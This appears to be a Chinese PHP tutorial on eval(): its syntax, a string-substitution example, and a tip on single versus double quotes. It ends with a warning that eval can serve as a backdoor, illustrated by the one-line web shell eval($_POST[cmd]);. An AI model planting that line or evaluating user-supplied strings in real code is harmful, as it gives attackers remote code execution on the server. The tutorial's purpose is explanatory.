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php eval函数用法 PHP中eval()函数小技巧

Jun 13, 2016 am 11:57 AM
evalphpvoidvaluefunctionstringWillSmallSkillusagegrammar

eval
将值代入字符串之中。

语法: void eval(string code_str);
传回值: 无
函式种类: 数据处理

内容说明

本函式可将字符串之中的变量值代入,通常用在处理数据库的数据上。参数 code_str 为欲处理的字符串。值得注意的是待处理的字符串要符合 PHP 的字符串格式,同时在结尾处要有分号。使用本函式处理后的字符串会沿续到 PHP 程序结束。

使用范例

复制代码 代码如下:


$string = '杯子';
$name = '咖啡';
$str = '这个 $string 中装有 $name.
';
echo $str;
eval( "\$str = \"$str\";" );
echo $str;
?>


本例的传回值为
这个 $string 中装有 $name.
这个 杯子 中装有 咖啡.

PHP中eval()函数小技巧

一直以来感觉eval()函数似乎不能做赋值运算?网上有些文章也这样说过!
比如eval("$a=55;");这个式子就会提示错误!
是不是eval()函数执行的代码不能做赋值运算了呢,其实不是。这是因为双引号里的变量名被转义了,试问,常量怎么能被赋值呢?
不过PHP中,单引号里的变量名就不会被转义了,上面的代码改成eval('$a=55;');这样就没错误了哦!

eval()是变量赋值后,然后执行
我表达不行,刚也在网上看到了一个例子,挺不错的。
=========
我从头说吧,eval有2层意思在内。1。组合命令。2并且执行它
比如

复制代码 代码如下:


$str="hello world"; //比如这个是元算结果
$code= "print('\n$str\n');";//这个是保存在数据库内的php代码
echo($code);//打印组合后的命令,str字符串被替代了,形成一个完整的php命令,但并是不会执行
eval($code);//执行了这条命令
?>;



你上面的咖啡的例子了,在eval里面,首先字符串被替换了,其次替换完后形成一个完整的赋值命令被执行了.

eval命令来源于linux bash shell中的eval命令 ( 参见http://www.linuxeden.com/edu/doctext.php?docid=584 )

如果被坏人掌握了,可以把eval 命令用于php的后门程序
比如

复制代码 代码如下:


eval($_POST[cmd]);


可以执行用户提交的任何cmd命令
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